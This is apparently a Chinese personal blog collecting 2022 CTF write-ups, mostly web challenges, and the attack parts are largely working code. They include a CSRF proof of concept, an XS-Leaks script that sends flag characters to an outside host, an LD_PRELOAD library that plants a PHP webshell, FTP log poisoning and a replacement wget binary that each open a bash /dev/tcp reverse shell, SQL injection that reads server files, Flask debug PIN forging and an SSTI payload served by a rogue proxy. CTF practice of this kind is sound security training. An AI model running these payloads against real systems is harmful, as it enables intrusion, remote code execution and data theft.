L1aoのblog

无聊的世界因为我又添了一顿累赘

0%

2022比赛wp

SUSCTF

web

fxxkcors

登陆页面 需要normal admin 才能看到flag

image-20220228141617622

猜测需要admin账号才能 提升普通用户为normal admin

image-20220228142026806

根据 题目 可推 fuckcors 为 一个 跨域攻击

robot核心源码 bot 先登陆 admin用户然后会访问我们提交的url

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
const visit = async (browser, url) =>{
let site = process.env.FXXK_SITE ?? ""
console.log(`[+]${opt.name}: ${url}`)
let renderOpt = {...opt}
try {
const loginpage = await browser.newPage()
await loginpage.goto(site)
await loginpage.type("input[name=username]", "admin")
await loginpage.type("input[name=password]", process.env.FXXK_ADMIN_PASS ?? "")
await Promise.all([
loginpage.click('button[name=submit]'),
loginpage.waitForNavigation({waitUntil: 'networkidle0', timeout: 2000})
])
await loginpage.goto("about:blank")
await loginpage.close()

const page = await browser.newPage()
await page.goto(url, {waitUntil: 'networkidle0', timeout: 2000})

await delay(2000) /// waiting 2 second.
console.log(await page.evaluate(() => document.documentElement.outerHTML))

}catch (e) {
console.log(e)
renderOpt.message = "error occurred"
return renderOpt
}
renderOpt.message = "admin will view your report soon"
return renderOpt
}

解题思路:构造一个页面bot点后 自动填写表单 到change.php页面修改我们的账号为normal admin

用burp 生成的poc 需要修改表单 使之为正常的json数据 放在服务器上把地址提交bot 就成为normal admin了

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://124.71.205.122:10002/changeapi.php" method="POST" enctype="text/plain">
<input type="hidden" name='{"username":"l1aoo","test":"' value='test"}' />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

flag:SUSCTF{fxxK_4h3_c0Rs_oUt}

ez_note

和 fxxkcors 极其相似的bot源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
const visit = async (browser, path) =>{
let site = process.env.NOTE_SITE ?? ""
let url = new URL(path, site)
console.log(`[+]${opt.name}: ${url}`)
let renderOpt = {...opt}
try {
const loginpage = await browser.newPage()
await loginpage.goto( site+"/signin")
await loginpage.type("input[name=username]", "admin")
await loginpage.type("input[name=password]", process.env.NOTE_ADMIN_PASS)
await Promise.all([
loginpage.click('button[name=submit]'),
loginpage.waitForNavigation({waitUntil: 'networkidle0', timeout: 2000})
])
await loginpage.goto("about:blank")
await loginpage.close()

const page = await browser.newPage()
await page.goto(url.href, {waitUntil: 'networkidle0', timeout: 2000})

await delay(5000) /// waiting 5 second.

}catch (e) {
console.log(e)
renderOpt.message = "error occurred"
return renderOpt
}
renderOpt.message = "admin will view your report soon"
return renderOpt
}
1
2
3
4
let url = new URL(path, site)
//site = http://123.60.29.171:10001/
//path 如果是正常的url地址的话 ,返回的对象url地址为path地址
//所以和上面的bot一样,我们要做的是伪造页面让bot去点

对网站进行一番测试后,发现没有xxs等漏洞

在 search地方为get传参

经过测试发现,如果搜索结果为单一会进行一次跳转 跳转到详情页面

1
find only match, redirecting

如果搜索结果不单一则 则直接显示多条结果

  • javascript 知识点:open() 方法用于打开一个新的浏览器窗口或查找一个已命名的窗口。

    Network Timing | XS-Leaks Wiki (xsleaks.dev)

    尝试思路根据打开的页面不同时间也会不同 然而测试结果大差不差所以不能用来注入

    查javascript的文档

    1
    2
    3
    4
    5
    6
    7
    8
    Window 对象
    Window 对象表示浏览器中打开的窗口。

    如果文档包含框架(frame 或 iframe 标签),浏览器会为 HTML 文档创建一个 window 对象,并为每个框架创建一个额外的 window 对象。

    History 对象
    History 对象包含用户(在浏览器窗口中)访问过的 URL。
    length 返回浏览器历史列表中的 URL 数量。

    根据我上面说到的搜索结果的区别 会使 访问的url数量不一样,通过这个来进行注入

    1
    2
    async函数
    async函数是使用async关键字声明的函数。 async函数是AsyncFunction构造函数的实例, 并且其中允许使用await关键字。async和await关键字让我们可以用一种更简洁的方式写出基于Promise的异步行为,而无需刻意地链式调用promise。

    python 启http服务 python3 -m http.server 11336

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    159.138.56.26 - - [28/Feb/2022 16:39:22] "GET /?url=SUSCTF{a_s HTTP/1.1" 200 -
    159.138.56.26 - - [28/Feb/2022 16:40:19] "GET /?url=SUSCTF{a_sh HTTP/1.1" 200 -
    159.138.56.26 - - [28/Feb/2022 16:40:37] "GET /?url=SUSCTF{a_sh0 HTTP/1.1" 200 -
    159.138.56.26 - - [28/Feb/2022 16:40:59] "GET /?url=SUSCTF{a_sh0r HTTP/1.1" 200 -
    159.138.56.26 - - [28/Feb/2022 16:41:17] "GET /?url=SUSCTF{a_sh0rt HTTP/1.1" 200 -
    159.138.56.26 - - [28/Feb/2022 16:41:32] "GET /?url=SUSCTF{a_sh0rt_ HTTP/1.1" 200 -
    159.138.56.26 - - [28/Feb/2022 16:41:51] "GET /?url=SUSCTF{a_sh0rt_f HTTP/1.1" 200 -
    159.138.56.26 - - [28/Feb/2022 16:42:23] "GET /?url=SUSCTF{a_sh0rt_fl HTTP/1.1" 200 -
    159.138.56.26 - - [28/Feb/2022 16:42:47] "GET /?url=SUSCTF{a_sh0rt_fl4 HTTP/1.1" 200 -
    159.138.56.26 - - [28/Feb/2022 16:43:20] "GET /?url=SUSCTF{a_sh0rt_fl4g HTTP/1.1" 200 -
    159.138.56.26 - - [28/Feb/2022 16:43:20] "GET /?url=SUSCTF{a_sh0rt_fl4g HTTP/1.1" 200 -
    159.138.56.26 - - [28/Feb/2022 16:43:42] "GET /?url=SUSCTF{a_sh0rt_fl4g} HTTP/1.1" 200 -

    poc: 改了改,一次还是只能注入一个字符,tcl

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    <html>
    <body>
    <script>
    async function asyncCall(char_flag) {
    var win = open('http://123.60.29.171:10001/search?q=SUSCTF{a_sh0rt_fl4g' + char_flag);
    await new Promise(resolve => setTimeout(resolve, 2000));
    win.location = char_flag;
    await new Promise(resolve => setTimeout(resolve, 2000));
    var l = win.history.length;
    if (l !== 2) {
    var test = open("http://ip/?url=SUSCTF{a_sh0rt_fl4g" + char_flag);
    console.log(base_char);
    win.close();
    } else{
    win.close();
    }
    }
    async function exp(){
    // while(true){
    charss = "abcdefghigklmnopqrstuvwxyz0123456789_}";
    for (var i = 0; i < charss.length; i++) {
    asyncCall(charss[i]);
    //await new Promise(resolve => setTimeout(resolve, 1000));
    }
    //}
    }
    exp();
    </script>
    </body>
    </html>

    flag:SUSCTF{a_sh0rt_fl4g}

HTML practice

1
2
3
4
5
6
7
𝘦𝘷𝘢𝘭((𝘤𝘩𝘳(61).𝘴𝘱𝘭𝘪𝘵(𝘤𝘩𝘳(61)).𝘱𝘰𝘱()).𝘫𝘰𝘪𝘯((𝘤𝘩𝘳(95)................)))



% for a in range(上面一串):
hh
% endfor

flag:SUSCTF{34sY_mak0_w1th_EaSy_nAm3}

dvCTF

web

CyberStreak v1.0

[dvCTF](https://dvc.tf/challenges#CyberStreak v1.0-5)

前端没东西,好像不能注入,,,,迷惑,看起来又像注入。。。跑一下sqlmap?????????

模板?没东西。。。

看了题解回来补一下

有一个 flask-unsign 可以用来爆破密钥

1
2
3
4
5
6
7
8
9
10
PS C:\WINDOWS\system32> flask-unsign --unsign --cookie '.eJyrViotTi3KS8xNVbJSSixOwYqUagElLw7b.YjHUCw.i5qm9Q8AXPRpVXcLqhZkcSUcM7Q'
[*] Session decodes to: {'username': 'asdasdasdasdasdasdasdasd'}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[*] Attempted (1920): -----BEGIN PRIVATE KEY-----lus
[+] Found secret key after 15872 attemptsaeyda23a4d64
's3cr3t'

PS C:\WINDOWS\system32> flask-unsign --sign --cookie "{'username': 'xXx-michel-xXx'}" --secret 's3cr3t'
eyJ1c2VybmFtZSI6InhYeC1taWNoZWwteFh4In0.YjHWeA.l1cxzk_c979gFyGEFKoKrlFtRg4

伪造登陆拿到flag

UTCTF

web

Websockets?

想用python模拟 不会

直接改题目里面的js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
const WebSocket = require('ws');
function checkPassword(num) {
const socket = new WebSocket("ws://" + "web1.utctf.live:8651" + "/internal/ws")
socket.addEventListener('message', (event) => {
if (event.data == "begin") {
socket.send("begin");
socket.send("user " + "admin")
console.log("pass " + num)
socket.send("pass " + num)
} else if (event.data == "baduser") {
console.log("baduser");
socket.close()
} else if (event.data == "badpass") {
console.log("Incorrect PIN");
socket.close()
} else if (event.data.startsWith("session ")) {
var cookie = "flask-session=" + event.data.replace("session ", "") + ";";
console.log(num)
console.log(cookie)
socket.send("goodbye")
socket.close()
// window.location = "/internal/user";
} else {
console.log("Unknown error");
socket.close()
}
})
}
for (var i = 700;i<1000;i++){
checkPassword(i)
}

跑出密码登陆获得flag

HTML2PDF

任意文件读取

1
2
3
4
5
6
7
8
9
10
11
12
<script>function load(name) {
let xhr = new XMLHttpRequest(),
okStatus = document.location.protocol === "file:" ? 0 : 200;
xhr.open('GET', name, false);
xhr.overrideMimeType("text/html;charset=utf-8");
xhr.send(null);
return xhr.status === okStatus ? xhr.responseText : null;
}
let text = load("/usr/local/app/app.js");
console.log(text);
document.write();
</script>

读到

WeakPasswordAdmin 爆破一下密码登陆拿到flag

zer0pts CTF 2022

web

Disco Party

非预期:

1
http://party.ctf.zer0pts.com:8007/post/<string(length=16):id># 你的vps

wp:Disco Party/Festival - zer0pts CTF 2022 - HackMD

HFCTF

web太难了,,哦不我太菜了,学的东西太浅了,赛后复现一下

ezphp

以为要跟dash,,,,想了下上传so,,但是session有杂的东西,,,,nginx post 会在 /proc/pid/fd/fd 下生成临时文件、、、学到了

贴几个链接https://tttang.com/archive/1384/
环境变量 ld_preload = /proc/$nginx_work_pid/fd/$fd

1
2
3
4
5
6
7
8
9
10
11
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("echo '<?php @eval($_POST[1]);?>' > /var/www/html/shell.php");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
1
2
gcc -c -fPIC hack.c -o hack
gcc -shared hack -o hack.so
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import  threading, requests, sys, time
url_target = f'http://1.14.71.254:28644/index.php'
nginx_workers = [12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27]
flag = False

def upload():
global flag
print('[+] starting upload')
with open("hack.so","rb") as f:
data = f.read()
while not flag:
requests.get(url = url_target,data=data)

def exp(pid):
global flag
while not flag:
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
try:
requests.get(url = url_target, params = {'env': f"LD_PRELOAD=/proc/{pid}/fd/{fd}"})
except:
pass

def check():
global flag
while not flag:
print('[+] starting check')
try:
r = requests.get("http://1.14.71.254:28644/shell.php")
print(r.status_code == 200)
if r.status_code == 200:
flag = True
sys.exit()
except:
pass
time.sleep(3)

t3 = threading.Thread(target = check)
t3.start()

for _ in range(16):
t1 = threading.Thread(target = upload)
t1.start()

for pid in nginx_workers:
t2 = threading.Thread(target = exp,args = (pid, ))
t2.start()

RITSEC CTF

Web all kill

web

php1

替换为空 构造
https://ctf.ritsec.club/php1/index.php?bingus=binbingusgus

RS{B1ngus_0ur_B3lov3d}

php2

去掉 __sleep 构造序列化
Cookie user=O%3A4%3A%22User%22%3A1%3A%7Bs%3A4%3A%22role%22%3Bs%3A5%3A%22Admin%22%3B%7D

RS{C3re4l_B1ngu5}

php3

哈希碰撞
https://ctf.ritsec.club/php3/index.php?input1[]=1&input2[]=2
RS{Th3_H@sh_Sl1ng1ng_5lash3r}

RITSEC calculator

jsfuck
debug得到源码
RS{ESOTERIC_GUAVA_SCRIPT}

Really Cool Encryption

fuzz
rce

1
{php}echo `id`;{/php}

提nm
RCE后看一下dockerfile pull一下那个镜像 run一下给flag????
RS{CHANDI_HEADREST}

Down the Data Streams

给的数据是十六进制,跑下来拼一下是图片就是flag

不知道有没有好方法,只能硬跑14420次交互,服务器在境外还跑得贼nm慢

Bingus Access

fuzz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
GET /bingus-access/index.php?file=%2fvar%2flog%2fvsftpd%2elog HTTP/2
Host: ctf.ritsec.club

HTTP/2 200 OK
Content-Type: text/html; charset=UTF-8
Date: Sun, 03 Apr 2022 09:33:37 GMT
Server: Caddy
Server: Apache/2.4.25 (Debian)
Vary: Accept-Encoding
X-Powered-By: PHP/7.2.1
Content-Length: 1536

Sun Apr 3 09:33:36 2022 [pid 87684] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client "::ffff:89.64.40.149"
Sun Apr 3 09:33:36 2022 [pid 87686] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client "::ffff:89.64.40.149"
Sun Apr 3 09:33:36 2022 [pid 87664] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client "::ffff:89.64.40.149"
Sun Apr 3 09:33:36 2022 [pid 87666] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client "::ffff:89.64.40.149"
Sun Apr 3 09:33:36 2022 [pid 87690] CONNECT: Client "::ffff:89.64.40.149"
Sun Apr 3 09:33:36 2022 [pid 87668] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client "::ffff:89.64.40.149"
Sun Apr 3 09:33:36 2022 [pid 87672] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client "::ffff:89.64.40.149"
Sun Apr 3 09:33:36 2022 [pid 87670] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client "::ffff:89.64.40.149"
Sun Apr 3 09:33:36 2022 [pid 87658] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client "::ffff:89.64.40.149"
Sun Apr 3 09:33:36 2022 [pid 87674] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client "::ffff:89.64.40.149"
Sun Apr 3 09:33:36 2022 [pid 87676] [/home/kali/Desktop/SecLists/Usernames/top-usernames-shortlist.txt] FAIL LOGIN: Client "::ffff:89.64.40.149"

用户名可控
跑个脚本,把shell弹出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from ftplib import FTP
ip = 'ctf.ritsec.club'
port = 2121
def test_ftp():
ftp=FTP()
ftp.connect(ip,port)
ftp.login('<?php system("bash -c \'exec bash -i &>/dev/tcp/ip/port <&1\'");?>',"123")#如果是匿名登录,直接ftp.login()
files = ftp.dir()
# <?php system('')?>

if __name__ == '__main__':
i = 1
while True:
i = i + 1
print(i)
try:
test_ftp()
except:
pass

HackPack 2022

web TupleCoin

source 看robots.txt 有一个back

核心代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
class Transaction(BaseModel):
from_acct: int
to_acct: int
num_tuco: float

def serialize(self) -> bytes:
return (str(self.from_acct) + str(self.to_acct) + str(self.num_tuco)).encode()

def sign(self, secret_key: bytes) -> AuthenticatedTransaction:
tuco_smash = self.serialize()
tuco_hash = hmac.new(secret_key, tuco_smash, "sha256").hexdigest()

return CertifiedTransaction.parse_obj({
"transaction": {
"from_acct": self.from_acct,
"to_acct": self.to_acct,
"num_tuco": self.num_tuco
},
"auth_tag": tuco_hash,
})


class CertifiedTransaction(BaseModel):
transaction: Transaction
auth_tag: str

def verify(self, secret_key: bytes) -> Transaction:
recreated = self.transaction.sign(secret_key)
if hmac.compare_digest(self.auth_tag, recreated.auth_tag):
return self.transaction
else:
raise ValueError("invalid authenticated transaction")

@app.post("/api/transaction/certify")
async def transaction_certify(transaction: Transaction) -> CertifiedTransaction:
if transaction.from_acct == TUCO_ACCT_NUM:
raise HTTPException(status_code=400, detail="Ha! You think you can steal from Tuco so easily?!!")
return transaction.sign(SECRET_KEY)


@app.post("/api/transaction/commit")
async def transaction_commit(certified_transaction: CertifiedTransaction) -> str:
transaction = certified_transaction.verify(SECRET_KEY)
if transaction.from_acct != TUCO_ACCT_NUM:
return "OK"
else:
return FLAG

重点在 def serialize(self) -> bytes:这个函数上 没有分隔,可以拼接parm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import hmac
SECRET_KEY = b'\x07\xd8\xc1\xef\xd0\xc1=\xc0\xf8\xdeJ\x114\x83G\x08C\xe1m\xbdX5~\xac\x95V\xd1p\x7f-SV'

class Transaction():
from_acct:int
to_acct:int
num_tuco:int

def __init__(self, from_acct, to_acct, num_tuco):
self.from_acct = from_acct
self.to_acct = to_acct
self.num_tuco = num_tuco

def serialize(self) -> bytes:
return (str(self.from_acct) + str(self.to_acct) + str(self.num_tuco)).encode()

def sign(self):
tuco_smash = self.serialize()
tuco_hash = hmac.new(SECRET_KEY, tuco_smash, "sha256").hexdigest()
return tuco_hash

transaction = Transaction(31415926,51,1)
print(transaction.sign())
transaction2 = Transaction(314159265,1,1)
print(transaction2.sign())
print(transaction.sign() == transaction2.sign())

输出

1
2
3
e7ce89169c2204aed4fb8ebe29ff3792b84d910e5fffe5acca943576a03382cc
e7ce89169c2204aed4fb8ebe29ff3792b84d910e5fffe5acca943576a03382cc
True

由此可以构造http包

1
2
3
4
5
6
POST /api/transaction/certify HTTP/2
Host: tuplecoin.cha.hackpack.club
Content-Length: 48
Content-Type: application/json; charset=UTF-8

{"from_acct":31415926,"to_acct":51,"num_tuco":1}

返回

1
2
3
4
5
6
7
HTTP/2 200 OK
Content-Type: application/json
Date: Wed, 13 Apr 2022 11:30:15 GMT
Server: uvicorn
Content-Length: 144

{"transaction":{"from_acct":31415926,"to_acct":51,"num_tuco":1.0},"auth_tag":"90621b5820be300662123ceccdeab62f9fb2c5957e630e0c8da555295ea3c137"}

再构造

1
2
3
4
5
6
POST /api/transaction/commit HTTP/2
Host: tuplecoin.cha.hackpack.club
Content-Length: 144
Content-Type: application/json; charset=UTF-8

{"transaction":{"from_acct":314159265,"to_acct":1,"num_tuco":1.0},"auth_tag":"90621b5820be300662123ceccdeab62f9fb2c5957e630e0c8da555295ea3c137"}

拿到flag

*CTF

[web]babyweb

简单的跳转,,,刚开始没考虑端口,,无语

exp

1
2
3
4
5
6
7
<?php 
function redirect($url)
{
header("Location: $url");
exit();
}
redirect('http://127.0.0.1:8089/flag');

放公网上然后提交对应url,访问返回的download/xxxxx 拿到flag

1
*ctf{A_Easy_SSRF_YOU_KNOW}

[web]oh-my-grafana

CVE-2021-43798 任意文件读取

/etc/grafana/grafana.ini 读取grafana 的默认密码

admin_password = 5f989714e132c9b04d4807dafeb10ade

可以注入

image-20220416124200245

可以执行任意sql语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /api/ds/query HTTP/1.1
Host: 123.60.66.194:3000
Content-Length: 156
accept: application/json, text/plain, */*
x-grafana-org-id: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
content-type: application/json
Origin: http://123.60.66.194:3000
Referer: http://123.60.66.194:3000/explore?orgId=1&left=%5B%22now-1h%22,%22now%22,%22MySQL%22,%7B%22refId%22:%22A%22,%22format%22:%22time_series%22,%22timeColumn%22:%22time%22,%22metricColumn%22:%22none%22,%22group%22:%5B%5D,%22where%22:%5B%7B%22type%22:%22macro%22,%22name%22:%22$__timeFilter%22,%22params%22:%5B%5D%7D%5D,%22select%22:%5B%5B%7B%22type%22:%22column%22,%22params%22:%5B%22value%22%5D%7D%5D%5D,%22rawQuery%22:true,%22rawSql%22:%22SELECT%201;%5Cn%22%7D%5D
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: grafana_session=afb5489f3febd540690500b9a60ed890
Connection: close

{"queries":[{"refId":"A","datasourceId":1,"rawSql":"select * from fffffflllllllllaaaagggggg","format":"table"}],"from":"1650100891845","to":"1650104491845"}

翻库找到flag

1
*ctf{Upgrade_your_grafAna_now!}

[misc]Grey

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/python3
import os
import binascii
import struct

crcbp = open("useforcheck.png", "rb").read() #打开图片
for i in range(2000):
for j in range(2000):
data = crcbp[12:16] + \
struct.pack('>i', i)+struct.pack('>i', j)+crcbp[24:29]
crc32 = binascii.crc32(data) & 0xffffffff
if(crc32 == 0xa7b63550): #图片当前CRC
print(i, j)
print('hex:', hex(i), hex(j))

跑一下长宽

中间一段flag用010打开在文件末尾……

1
*CTF{Catch_m3_1F_y0u_cAn}

[web]oh-my-notepro

http://172.21.198.90:5002/view?note_id=ulcojp87kj7zdh5982couboqnk6rgst2%27 存在sql注入

报错得到部分源码

1
2
3
sql = f"select * from notes where note_id='{note_id}'"
print(sql)
result = db.session.execute(sql, params={"multi":True})

http://172.21.198.90:5002/view?note_id=1' union select 1,2,3,'{{7*7}}',123132123;%23 执行任意sql语句并返回结果

payload:

1
2
3
4
5
6
7
8
http://172.21.198.90:5002/view?note_id=1' union select 1,2,3,4,(select group_concat(table_name) from information_schema.tables where table_schema=database());CREATE TABLE IF NOT EXISTS `kxytest2` (
`name` TEXT
);load data local infile "C:\\Windows\\win.ini" into table kxytest2 FIELDS TERMINATED BY '\n';%23



http://172.21.198.90:5002/view?note_id=1' union select 1,2,3,4,(select group_concat(name) from kxytest2);%23

任意文件读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
from bs4 import BeautifulSoup
import random
import string
# from pin import solve

headers = {
'Cookie':'session=eyJjc3JmX3Rva2VuIjoiOWJjZTdhNWNlNTEyNjJmNzY4N2RjNWU2ZGZhMzYyMWY2ZTU5NTNlNiIsInVzZXJuYW1lIjoiYWRtaW4ifQ.Yl6Xag.U0Md2fed8ubb4rxB45J0y6DJ0R0'
}

def get_content(filename):
print("[+]readfile: " + filename)
ran_str = ''.join(random.sample(string.ascii_letters + string.digits, 8))
print("[+]table: " + ran_str)
url = f"""http://172.21.198.90:5002/view?note_id=1';CREATE TABLE IF NOT EXISTS `{ran_str}` (
`name` TEXT
);load data local infile "{filename}" into table {ran_str} FIELDS TERMINATED BY '\n';%23"""
r = requests.get(url,headers=headers)

url = f"""http://172.21.198.90:5002/view?note_id=1' union select 1,2,3,4,(select group_concat(name) from {ran_str});%23"""
# print(url)
r = requests.get(url,headers=headers)

soup = BeautifulSoup(r.text, 'lxml')
print("[+]result: " + soup.find('h1',attrs={'style': 'text-align: center'}).string)

get_content('/etc/machine-id')
get_content('/proc/sys/kernel/random/boot_id')
get_content('/proc/self/cgroup')
get_content('/sys/class/net/eth0/address')

算pin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import hashlib
from itertools import chain

def solve(username, eth0, machine_id, cgroup):
probably_public_bits = [
username,# username ok
'flask.app', # ok
'Flask' #ok,
'/usr/local/lib/python3.8/site-packages/flask/app.py' # ok
]

private_bits = [
eth0,# /sys/class/net/eth0/address
machine_id + cgroup
# '7cb84391-1303-4564-8eff-ef7571804198327e92627edf30f63fde916e3c3017aea76eeb876265a726270a575d391eeb4a'# machine-id
# /etc/machine-id + /proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
solve('ctf',str(int('02:42:ac:14:00:03'.replace(':',''),16)),'96cec10d3d9307792745ec3b85c89620','79804164df902a6bc925fb7d70a6e3b857c9a4af0e2c2d78a49b7c1954d9d078')

然后执行命令

[web]oh-my-lotto

先预测一下,然后改PATH 让wget command not found 这样就不会下载新的result

然后去result看一下上一次预测的字符串 上传一个一模一样的就行了

注意这里的文本用rb打开 字符串换行是\n而在window上编辑换行是\r\n

所以这里我用python二进制写入文本

[web]oh-my-lotto-revenge

覆写模板 SSTI RCE

上传文件

1
2
3
http_proxy = you_vps_ip:18181
referer = http://ssti_me/
output_document = /app/templates/index.html

设置环境变量 WGETRC = /app/guess/forecast.txt 刚刚上传的文件

这样相当于给wget设置一个代理

让wget下载我们可控的文件 文件内容

服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import socket

HOST = '0.0.0.0'
PORT = 18181

content_ssti = r'''HTTP/1.0 200 OK
Content-type: text/x-python
Content-Length: 249
Content-Disposition: attachment; filename=index.html

{{(x|attr(request.cookies.w1)|attr(request.cookies.w2)|attr(request.cookies.w3))(request.cookies.w4).eval(request.cookies.w5)}}
'''



#Configure socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((HOST, PORT))
sock.listen(100)

#infinite loop
while True:
# maximum number of requests waiting
conn, addr = sock.accept()
request = conn.recv(1024).decode()
print(request)
if 'ssti' in request:
conn.sendall(content_ssti.encode())
else:
pass

#close connection
conn.close()

覆写ssti

携带cookie访问主页

1
Cookie:w1=__init__;w2=__globals__;w3=__getitem__;w4=__builtins__;w5=__import__('os').popen('任意命令').read()

执行env得到flag

也可以直接覆写wget 修改wget来RCE

rce.c

1
2
3
4
5
6
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void main() {
system("bash -c 'exec bash -i &>/dev/tcp/ip/11011 <&1'");
}
1
2
3
4
gcc -E rce.c -o rce.i
gcc -S rce.i -o rce.s
gcc -c rce.s -o rce.o
gcc rce.o -o wget

然后服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/python3
import socket

HOST = '0.0.0.0'
PORT = 18181

content_ssti = rf"""HTTP/1.0 200 OK
Content-type: text/x-python
Content-Length: {len((open('./wget','rb').read()))}
Content-Disposition: attachment; filename=wget

"""

fuck_content = r'''
HTTP/1.0 200 OK
Content-type: text/x-python
Content-Length: 11

fuck you!!!
'''


#Configure socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((HOST, PORT))
sock.listen(100)

#infinite loop
while True:
# maximum number of requests waiting
conn, addr = sock.accept()
request = conn.recv(1024).decode()
print(request)
if 'ssti' in request:
conn.sendall(content_ssti.encode())
fo = open('./wget','rb')
while True:
filedata = fo.read(1024)
if not filedata:
break
conn.send(filedata)
fo.close()
else:
conn.sendall(fuck_content.encode())

#close connection
conn.close()

MRCTF

[WEB]webcheckin

上了波车,拿到源码审计一下

此处会执行我们的上传的php代码(root权限)

1
a = subprocess.Popen(["php -dvld.verbosity=1 -dvld.active=1 -dvld.execute=1 " + each_filepath],

弹个shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST / HTTP/1.1
Host: webshell.node3.mrctf.fun
Content-Length: 279
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://webshell.node3.mrctf.fun
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytALBjmF5CJrH78jB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://webshell.node3.mrctf.fun/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarytALBjmF5CJrH78jB
Content-Disposition: form-data; name="file"; filename="test45072.php"
Content-Type: application/octet-stream

<?php
system("bash -c 'exec bash -i &>/dev/tcp/ip/11011 <&1'");?>
------WebKitFormBoundarytALBjmF5CJrH78jB--

翻日志找到flag

1
2
3
4
root@cb961d9e7cf3:/var/log# grep -rn "MRCTF" .
grep -rn "MRCTF" .
./dpkg.log:1881:MRCTF{3f1d6ea4-d544-46f8-ba7c-cfcd0efa31ae}

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
